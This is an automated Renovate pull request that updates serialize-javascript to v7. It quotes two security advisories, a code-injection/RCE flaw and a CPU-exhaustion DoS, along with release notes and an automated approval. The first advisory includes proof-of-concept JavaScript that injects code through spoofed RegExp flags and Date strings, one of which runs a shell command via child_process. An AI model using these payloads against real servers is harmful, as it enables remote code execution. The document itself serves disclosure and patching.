fix(deps): update dependency serialize-javascript to v7 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
serialize-javascript	^6.0.2 → ^7.0.0

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Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

GHSA-5c6j-r48x-rmvq

More information

Details

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@​placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@​rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq
• https://nvd.nist.gov/vuln/detail/CVE-2020-7660
• https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9
• https://github.com/advisories/GHSA-hxcc-f52p-wc94
• https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
• https://github.com/advisories/GHSA-5c6j-r48x-rmvq

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

CVE-2026-34043 / GHSA-qj8w-gfj5-8c6v

More information

Details

Impact

What kind of vulnerability is it?

It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

Who is impacted?

Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.

Patches

Has the problem been patched?

Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.

What versions should users upgrade to?

Users should upgrade to v7.0.5 or later.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

• Validating and sanitizing all input before passing it to the serialize() function.
• Ensuring the environment is protected against Prototype Pollution.
• Upgrading to v7.0.5 as soon as possible.

Acknowledgements

Serialize JavaScript thanks Tomer Aberbach (@​TomerAberbach) for discovering and privately disclosing this issue.

Severity

• CVSS Score: 5.9 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v
• https://github.com/yahoo/serialize-javascript/commit/f147e90269b58bb6e539cfdf3d0e20d6ad14204b
• https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-34043
• https://github.com/advisories/GHSA-qj8w-gfj5-8c6v

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.5

Compare Source

Fixes

• Improve robustness and validation for array-like object serialization.
• Fix an issue where certain object structures could lead to excessive CPU usage.

For more details, please see GHSA-qj8w-gfj5-8c6v.

v7.0.4

Compare Source

What's Changed

• release: v7.0.4 by @​okuryu in #​211

Full Changelog: yahoo/serialize-javascript@v7.0.3...v7.0.4

v7.0.3

Compare Source

• fix(CVE-2020-7660): fix for RegExp.flags and Date.prototype.toISOString (#​207) 2e609d0
• build(deps-dev): bump lodash from 4.17.21 to 4.17.23 (#​206) 42b7cdb

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v7.0.2

Compare Source

What's Changed

• ci: bump GitHub Actions to latest versions by @​okuryu in #​203
• ci: setup trusted publishing workflow by @​okuryu in #​204
• release: v7.0.2 by @​okuryu in #​205

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

• Add warning about using this package to send arbitrary data to worker threads by @​valadaptive in #​200
• security: sanitize function bodies by @​redonkulus in #​199
• docs: tweak README by @​okuryu in #​201
• release: v7.0.1 by @​okuryu in #​202

New Contributors

• @​redonkulus made their first contribution in #​199

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

• requires Node.js v20+

What's Changed

• Bump mocha from 10.2.0 to 10.4.0 by @​dependabot[bot] in #​178
• Bump mocha from 10.4.0 to 10.5.2 by @​dependabot[bot] in #​183
• Bump nyc from 15.1.0 to 17.0.0 by @​dependabot[bot] in #​184
• Bump braces from 3.0.2 to 3.0.3 by @​dependabot[bot] in #​181
• Bump mocha from 10.5.2 to 10.7.0 by @​dependabot[bot] in #​185
• Bump mocha from 10.7.0 to 10.7.3 by @​dependabot[bot] in #​186
• Bump nyc from 17.0.0 to 17.1.0 by @​dependabot[bot] in #​187
• Bump mocha from 10.7.3 to 10.8.2 by @​dependabot[bot] in #​188
• feat: test on Node.js 22 and built-in test runner by @​okuryu in #​192
• Generate UID without randombytes dependency by @​valadaptive in #​196
• release: v7.0.0 by @​okuryu in #​197

New Contributors

• @​valadaptive made their first contribution in #​196

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

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Review verdict

APPROVE — dependency-only security update; adversarial review skipped per policy.

This PR contains only a serialize-javascript version bump (security fix). No source files, tests, contracts, or generated artifacts are modified. The code-review orchestrator is configured to skip dependency-only updates immediately.

  

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